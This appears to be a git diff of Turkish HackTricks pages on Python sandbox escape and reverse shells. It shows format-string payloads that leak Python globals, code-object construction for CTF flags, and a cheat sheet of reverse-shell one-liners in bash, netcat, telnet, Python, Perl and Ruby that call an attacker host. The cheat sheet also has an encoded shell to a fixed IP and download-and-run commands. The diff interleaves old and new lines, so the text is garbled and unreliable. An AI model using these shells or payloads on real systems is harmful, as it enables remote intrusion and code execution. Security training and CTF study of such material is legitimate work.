__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
```
## Yinelemeli Arama Yapısı: Builtins, Globals...
## Yinelemeli Olarak Yerleşik Fonksiyonlar, Global Değişkenlerin Aranması...
{% hint style="warning" %}
Bu sadece **harika**. Eğer **globals, builtins, open veya herhangi bir nesne arıyorsanız**, bu betiği kullanarak **bu nesneyi bulabileceğiniz yerleri yinelemeli olarak bulabilirsiniz.**
Bu sadece **harika**. Eğer **globals, builtins, open veya herhangi bir nesneyi** arıyorsanız, bu betiği kullanarak **o nesneyi bulabileceğiniz yerleri yinelemeli olarak bulabilirsiniz.**
{% endhint %}
```python
import os, sys # Import these to find more gadgets
@ -676,7 +696,7 @@ Bu betiğin çıktısını bu sayfada kontrol edebilirsiniz:
## Python Biçim Dizesi
Eğer python'a **biçimlendirilecek bir dize gönderirseniz**, `{}` kullanarak **python iç bilgilerine erişebilirsiniz**. Örneğin, globals veya builtins'e erişmek için önceki örnekleri kullanabilirsiniz.
Python'a **biçimlendirilecek bir dize** gönderirseniz, **python dahili bilgilerine** erişmek için `{}` kullanabilirsiniz. Örneğin, globals veya builtins'e erişmek için önceki örnekleri kullanabilirsiniz.
{% hint style="info" %}
Ancak, bir **kısıtlama** bulunmaktadır, yalnızca `.[]` sembollerini kullanabilirsiniz, bu nedenle **keyfi kodları yürütemezsiniz**, yalnızca bilgi okuyabilirsiniz.\
@ -703,7 +723,7 @@ get_name_for_avatar(st, people_obj = people)
```
Dikkat edin ki bir nesnenin özelliklerine **nokta** ile normal bir şekilde erişebilirsiniz, örneğin `people_obj.__init__`, ve **parantez** içinde tırnak olmadan **sözlük elemanlarına** erişebilirsiniz, `__globals__[CONFIG]`
Ayrıca bir nesnenin elemanlarını numaralandırmak için `.__dict__` kullanabilirsiniz, `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
Ayrıca bir nesnenin elemanlarını numaralandırmak için `.__dict__` kullanabilirsiniz, örneğin `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
Biçim dizelerinden diğer ilginç özelliklerden biri, belirtilen nesnede **`str`**, **`repr`** ve **`ascii`** fonksiyonlarını **`!s`**, **`!r`**, **`!a`** ekleyerek **çalıştırma** olasılığıdır:
```python
@ -721,7 +741,7 @@ return 'HAL 9000'
'{:open-the-pod-bay-doors}'.format(HAL9000())
#I'm afraid I can't do that.
```
**Daha fazla örnek** **format** **dizisi** örnekleri [**https://pyformat.info/**](https://pyformat.info) adresinde bulunabilir.
**Daha fazla örnek** **format** **dizesi** örnekleri [**https://pyformat.info/**](https://pyformat.info) adresinde bulunabilir.
{% hint style="danger" %}
Ayrıca, Python dahili nesnelerden **duyarlı bilgileri okuyacak** araçlar için aşağıdaki sayfayı da kontrol edin:
@ -731,7 +751,7 @@ Ayrıca, Python dahili nesnelerden **duyarlı bilgileri okuyacak** araçlar içi
[python-internal-read-gadgets.md](../python-internal-read-gadgets.md)
{% endcontent-ref %}
### Duyarlı Bilgi Açığını Ortaya Çıkaran Yükler
### Duyarlı Bilgi Açığa Çıkarma Yükleri
```python
{whoami.__class__.__dict__}
{whoami.__globals__[os].__dict__}
@ -745,12 +765,12 @@ Ayrıca, Python dahili nesnelerden **duyarlı bilgileri okuyacak** araçlar içi
## Python Nesnelerini İnceleme
{% hint style="info" %}
Python bytecode hakkında derinlemesine bilgi edinmek istiyorsanız, bu konu hakkında harika bir yazıyı okuyun: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
**Python bytecode** hakkında derinlemesine bilgi edinmek istiyorsanız, bu konu hakkında harika bir yazıyı okuyun: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
{% endhint %}
Bazı CTF'lerde, bayrağın bulunduğu özel bir fonksiyonun adı verilebilir ve bayrağı çıkarmak için fonksiyonun iç yapısını görmek gerekebilir.
Bazı CTF'lerde, **bayrağın** bulunduğu **özel bir fonksiyonun adı** size verilebilir ve bunu çıkarmak için **fonksiyonun iç yapısını** görmek zorunda kalabilirsiniz.
İncelenmesi gereken fonksiyon:
İncelemek için verilen fonksiyon:
```python
def get_flag(some_input):
var1=1
@ -770,7 +790,7 @@ dir(get_flag) #Get info tof the function
```
#### globals
`__globals__` ve `func_globals` (Aynı) Global ortamı elde eder. Örnekte, bazı içe aktarılan modülleri, bazı global değişkenleri ve içeriklerini görebilirsiniz:
`__globals__` ve `func_globals`(Aynı) Global ortamı elde eder. Örnekte, içe aktarılan bazı modülleri, bazı global değişkenleri ve içeriklerini görebilirsiniz:
```python
get_flag.func_globals
get_flag.__globals__
@ -779,7 +799,7 @@ get_flag.__globals__
#If you have access to some variable value
CustomClassObject.__class__.__init__.__globals__
```
[**Daha fazla global değişken elde etmek için buraya bakın**](./#globals-and-locals)
[**Daha fazla yerel değişken almak için buraya bakın**](./#globals-and-locals)
### **Fonksiyon koduna erişim**
@ -871,7 +891,7 @@ dis.dis(get_flag)
44 LOAD_CONST 0 (None)
47 RETURN_VALUE
```
Dikkat edin ki, eğer python kum havuzunda `dis`i içe aktaramazsanız, fonksiyonun **bytecode**'unu (`get_flag.func_code.co_code`) elde edebilir ve yerel olarak **çözümleyebilirsiniz**. Yüklenen değişkenlerin içeriğini görmeyeceksiniz (`LOAD_CONST`) ancak yüklenen değişkenin ofsetini (`LOAD_CONST`) `get_flag.func_code.co_consts`den tahmin edebilirsiniz çünkü `LOAD_CONST` aynı zamanda yüklenen değişkenin ofsetini belirtir.
**Eğer python kum havuzunda `dis`i içe aktaramazsanız**, fonksiyonun **bytecode**'unu (`get_flag.func_code.co_code`) elde edebilir ve yerel olarak **çözebilirsiniz**. Yüklenen değişkenlerin içeriğini görmeyeceksiniz (`LOAD_CONST`) ancak onları (`get_flag.func_code.co_consts`) tahmin edebilirsiniz çünkü `LOAD_CONST` aynı zamanda yüklenen değişkenin ofsetini belirtir.
```python
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
0 LOAD_CONST 1 (1)
@ -895,8 +915,8 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
```
## Python Derlemesi
Şimdi, bir fonksiyon hakkında bilgi alabileceğinizi ancak çalıştıramayacağınızı hayal edelim, ama onu **çalıştırmanız gerekiyor**.\
Aşağıdaki örnekte olduğu gibi, o fonksiyonun **kod nesnesine erişebilirsiniz**, ancak disassemble'ı okuyarak bayrağı nasıl hesaplayacağınızı **bilmiyorsunuz** (_daha karmaşık bir `calc_flag` fonksiyonunu hayal edin_).
Şimdi, bir fonksiyon hakkında **çalıştıramadığınız ancak çalıştırmanız gereken** bilgileri **dökümleyebileceğinizi varsayalım**.\
Aşağıdaki örnekte olduğu gibi, o fonksiyonun **kod nesnesine erişebilirsiniz**, ancak disasemble'ı okuyarak bayrağı nasıl hesaplayacağınızı **bilmiyorsunuz** (_daha karmaşık bir `calc_flag` fonksiyonunu hayal edin_).
```python
def get_flag(some_input):
var1=1
@ -911,7 +931,7 @@ return "Nope"
```
### Kod nesnesi oluşturma
İlk olarak, **bir kod nesnesi oluşturup yürütmeyi** nasıl yapacağımızı bilmemiz gerekiyor, böylece sızdırılmış işlevimizi yürütmek için bir tane oluşturabiliriz:
İlk olarak, **bir kod nesnesi oluşturup çalıştırmayı** nasıl yapacağımızı bilmemiz gerekiyor, böylece sızdırılmış işlevimizi çalıştırmak için bir tane oluşturabiliriz:
```python
code_type = type((lambda: None).__code__)
# Check the following hint if you get an error in calling this
@ -931,18 +951,16 @@ mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
```
{% hint style="info" %}
Python sürümüne bağlı olarak `code_type`'ın **parametreleri** farklı bir **sıraya** sahip olabilir. Çalıştırdığınız python sürümündeki parametre sırasını öğrenmenin en iyi yolu şudur:
Python sürümüne bağlı olarak `code_type`'ın **parametreleri** farklı bir **sıraya** sahip olabilir. Çalıştırdığınız python sürümündeki parametre sırasını öğrenmenin en iyi yolu:
```
import types
types.CodeType.__doc__
'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
```
{% endhint %}
### Sızdırılan bir fonksiyonun yeniden oluşturulması
{% hint style="warning" %}
Aşağıdaki örnekte, fonksiyonu yeniden oluşturmak için gereken tüm verileri doğrudan fonksiyon kodu nesnesinden alacağız. **Gerçek bir örnekte**, fonksiyonu yürütmek için gereken tüm **değerlerin** sızdırmanız gereken şey olduğunu unutmayın.
Aşağıdaki örnekte, fonksiyonu yeniden oluşturmak için gereken tüm verileri doğrudan fonksiyon kodu nesnesinden alacağız. **Gerçek bir örnekte**, fonksiyonu yürütmek için gereken tüm **değerlerin** sızdırılması gerekecektir.
{% endhint %}
```python
fc = get_flag.__code__
@ -956,8 +974,8 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
```
### Savunmaları Atlatma
Bu yazının başlangıcındaki önceki örneklerde, `compile` fonksiyonunu kullanarak **herhangi bir python kodunu nasıl çalıştıracağınızı** görebilirsiniz. Bu ilginç çünkü **döngüler ve her şeyi içeren tüm betikleri** bir **tek satırda** çalıştırabilirsiniz (ve aynısını **`exec`** kullanarak yapabilirdik).\
Neyse ki, bazen yerel bir makinede **derlenmiş bir nesne oluşturmak** ve bunu **CTF makinesinde** çalıştırmak faydalı olabilir (örneğin, CTF'de `compile` fonksiyonuna sahip olmadığımız için).
Bu yazının başındaki önceki örneklerde, `compile` fonksiyonunu kullanarak **herhangi bir python kodunu nasıl çalıştıracağınızı** görebilirsiniz. Bu ilginç çünkü **döngüler ve her şeyi içeren tüm betikleri** bir **tek satırda** çalıştırabilirsiniz (ve aynısını **`exec`** kullanarak da yapabilirdik).\
Neyse ki, bazen yerel bir makinede bir **derlenmiş nesne oluşturmak** ve bunu **CTF makinesinde** çalıştırmak yararlı olabilir (örneğin, CTF'de `compile` fonksiyonuna sahip olmadığımız için).
Örneğin, _./poc.py_ dosyasını okuyan bir fonksiyonu manuel olarak derleyip çalıştıralım:
```python
@ -986,7 +1004,7 @@ mydict['__builtins__'] = __builtins__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)()
```
Eğer `eval` veya `exec`'e erişim sağlayamıyorsanız, **uygun bir fonksiyon** oluşturabilirsiniz, ancak bunu doğrudan çağırmak genellikle başarısız olacaktır: _sınırlı modda constructor erişilemez_. Bu nedenle, bu fonksiyonu çağırmak için **sınırlı ortamda olmayan bir fonksiyona ihtiyacınız vardır.**
Eğer `eval` veya `exec`'e erişim sağlayamıyorsanız, **uygun bir fonksiyon** oluşturabilirsiniz, ancak bunu doğrudan çağırmak genellikle başarısız olacaktır: _sınırlı modda erişilebilir olmayan yapılandırıcı_. Bu nedenle, bu fonksiyonu çağırmak için **sınırlı ortamda olmayan bir fonksiyona ihtiyacınız vardır.**
```python
#Compile a regular print
ftype = type(lambda: None)
@ -994,9 +1012,9 @@ ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
f(42)
```
## Derlenmiş Python Kodunu Geri Çözme
## Derlenmiş Python Kodunu Çözme
[**https://www.decompiler.com/**](https://www.decompiler.com) gibi araçlar kullanılarak verilen derlenmiş python kodu **geri çözülebilir**.
Araçlar kullanılarak [**https://www.decompiler.com/**](https://www.decompiler.com) derlenmiş Python kodu çözülebilir.
**Bu öğreticiye göz atın**:
@ -1027,18 +1045,22 @@ print(f"\nNot a Super User!!!\n")
* [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html)
* [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
***
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile</strong></summary>
<summary><strong>A'dan Z'ye AWS hackleme konusunda bilgi edinin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 **Discord grubuna** katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı göndererek PR'ler aracılığıyla** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **paylaşın**.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -2,23 +2,31 @@
<details>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* [**The PEASS Ailesi**]'ni(https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i(https://opensea.io/collection/the-peass-family) içeren koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
**Try Hard Güvenlik Grubu**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
**Bu kabuklardan herhangi biri hakkında sorularınız varsa** [**https://explainshell.com/**](https://explainshell.com) **adresinden kontrol edebilirsiniz.**
## Tam TTY
**Ters kabuk aldıktan sonra** [**bu sayfayı tam TTY almak için okuyun**](full-ttys.md)**.**
**Bir ters kabuk aldıktan sonra** [**bu sayfayı tam TTY almak için okuyun**](full-ttys.md)**.**
## Bash | sh
```bash
@ -35,7 +43,7 @@ exec >&0
```
### Sembol güvenli kabuk
Diğer kabukları da kontrol etmeyi unutmayın: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh ve bash.
Diğer kabuklarla da kontrol etmeyi unutmayın: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh ve bash.
```bash
#If you need a more stable connection do:
bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'
@ -47,9 +55,9 @@ echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMSc
#### Kabuk açıklaması
1. **`bash -i`**: Bu komutun bu kısmı etkileşimli (`-i`) bir Bash kabuğu başlatır.
2. **`>&`**: Bu komutun bu kısmı, **standart çıktı** (`stdout`) ve **standart hata** (`stderr`) çıktılarını **aynı hedefe yönlendirmek** için kısayol bir gösterimdir.
2. **`>&`**: Bu komutun bu kısmı, **standart çıktı** (`stdout`) ve **standart hata** (`stderr`) çıktılarını **aynı hedefe yönlendirmek** için kısa bir notasyondur.
3. **`/dev/tcp/<SALDIRGAN-IP>/<PORT>`**: Bu, belirtilen IP adresine ve porta **TCP bağlantısını temsil eden özel bir dosyadır**.
* Çıktı ve herror akışlarını bu dosyaya yönlendirerek, komut etkileşimli kabuk oturumunun çıktısını saldırganın makinesine gönderir.
* **Çıktı ve hata akışlarını bu dosyaya yönlendirerek**, komut etkileşimli kabuk oturumunun çıktısını saldırganın makinesine gönderir.
4. **`0>&1`**: Bu komutun bu kısmı, **standart girişi (`stdin`) standart çıktıya (`stdout`)** yönlendirir.
### Dosyada oluştur ve çalıştır
@ -59,9 +67,9 @@ wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.s
```
## İleriye Dönük Kabuk
Linux tabanlı bir web uygulamasında **Uzaktan Kod Yürütme (RCE)**ığıyla uğraşırken, ters kabuk elde etme işlemi iptables kuralları veya karmaşık paket filtreleme mekanizmaları gibi ağ savunmaları tarafından engellenebilir. Bu tür kısıtlı ortamlarda, bir alternatif yaklaşım, kompromize edilmiş sistemle daha etkili bir şekilde etkileşim kurmak için bir PTY (Pseudo Terminal) kabuk oluşturmaktır.
Linux tabanlı bir web uygulamasında **Uzaktan Kod Yürütme (RCE)**ığıyla uğraşırken, ters kabuk elde etme işlemi, iptables kuralları veya karmaşık paket filtreleme mekanizmaları gibi ağ savunmaları tarafından engellenebilir. Bu tür kısıtlı ortamlarda, alternatif bir yaklaşım, etkilenen sistemle daha etkili bir şekilde etkileşim kurmak için bir PTY (Pseudo Terminal) kabuğu oluşturmaktır.
Bu amaç için önerilen araç [toboggan](https://github.com/n3rada/toboggan.git)'dır, hedef ortamla etkileşimi basitleştirir.
Bu amaç için önerilen bir araç [toboggan](https://github.com/n3rada/toboggan.git)'dır, bu araç hedef ortamla etkileşimi basitleştirir.
Toboggan'ı etkili bir şekilde kullanmak için, hedef sistemin RCE bağlamına uygun bir Python modülü oluşturun. Örneğin, `nix.py` adında bir modül aşağıdaki gibi yapılandırılabilir:
```python3
@ -99,9 +107,9 @@ Sadece şunları değiştirmeniz gerekir:
* Zafiyetli ana bilgisayarın URL'si
* Yükünüzün öneki ve soneki (varsa)
* Yükün nasıl gönderildiği (başlıklar mı? veri mi? ek bilgi mi?)
* Yükün gönderildiği şekil (başlıklar mı? veri mi? ekstra bilgi mi?)
Daha sonra, sadece **komutlar gönderebilirsiniz** veya hatta tam bir PTY almak için **`upgrade` komutunu kullanabilirsiniz** (boruların yaklaşık 1.3 saniyelik bir gecikme ile okunduğuna ve yazıldığına dikkat edin).
Sonra, sadece **komutlar gönderebilirsiniz** veya hatta tam bir PTY almak için **`upgrade` komutunu kullanabilirsiniz** (boruların okunması ve yazılması yaklaşık 1.3 saniyelik bir gecikme ile gerçekleşir).
## Netcat
```bash
@ -119,7 +127,7 @@ bash -c "$(curl -fsSL gsocket.io/x)"
```
## Telnet
Telnet, ağızdaki bir protokol olan TCP/IP üzerinden çalışan bir ağ protokolüdür. Telnet, bir bilgisayara uzaktan erişim sağlamak için kullanılır. Telnet, metin tabanlı bir protokol olduğundan, yalnızca metin tabanlı verileri destekler. Telnet, varsayılan olarak 23 numaralı bağlantı noktasını kullanır. Telnet, güvenlik açıklarından dolayı güvenli bir seçenek olarak önerilmez.
Telnet, ağ protokolüdür ve birçok işletim sistemi tarafından desteklenir. Bir sunucuya uzaktan erişim sağlamak için kullanılabilir. Güvenlik nedeniyle, Telnet yerine SSH gibi daha güvenli protokoller tercih edilmelidir.
```bash
telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f
@ -134,11 +142,13 @@ while true; do nc -l <port>; done
```
Komutu göndermek için yazın, enter tuşuna basın ve CTRL+D'ye basın (STDIN'i durdurmak için)
**Kurban**
**Hedef**
```bash
export X=Connected; while true; do X=`eval $(whois -h <IP> -p <Port> "Output: $X")`; sleep 1; done
```
## Python
Python, yüksek seviyeli bir programlama dili ve genel amaçlı bir dil olarak popülerdir. Python, hızlı prototipleme, veri analizi ve otomasyon gibi birçok alanda kullanılır. Ayrıca, çeşitli kütüphaneleri ve modülleri sayesinde geniş bir kullanıcı kitlesine sahiptir.
```bash
#Linux
export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
@ -148,7 +158,7 @@ python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socke
```
## Perl
Perl, birçok Linux dağıtımında önceden yüklü gelen bir programlama dilidir. Perl betikleri, Linux üzerinde hızlı ve etkili bir şekilde çalıştırılabilir. Perl betikleri, sistem yönetimi görevlerini otomatikleştirmek için sıkça kullanılır.
Perl, birçok Linux dağıtımında önceden yüklü olarak gelen bir programlama dilidir. Perl betikleri, Linux üzerinde hızlı ve etkili bir şekilde çalıştırılabilir. Perl, sistem yöneticileri ve güvenlik uzmanları tarafından sıklıkla kullanılan bir dil olduğundan, hedef sistemde Perl yüklü olma olasılığı oldukça yüksektir. Bu nedenle, Perl betikleri sıklıkla hedef sistemlere erişim sağlamak için kullanılır.
```bash
perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
@ -162,7 +172,7 @@ ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.
```
## PHP
PHP, kişisel web sitelerinden büyük kurumsal uygulamalara kadar geniş bir yelpazede kullanılan popüler bir betik dildir. PHP, sunucu taraflı betikleme için özellikle uygun olan açık kaynaklı bir dildir. Web uygulamaları geliştirmek için sıklıkla kullanılır ve genellikle MySQL veritabanı ile entegre edilir. PHP, geniş bir topluluk tarafından desteklenmektedir ve çeşitli güvenlik önlemleri ve best practices mevcuttur.
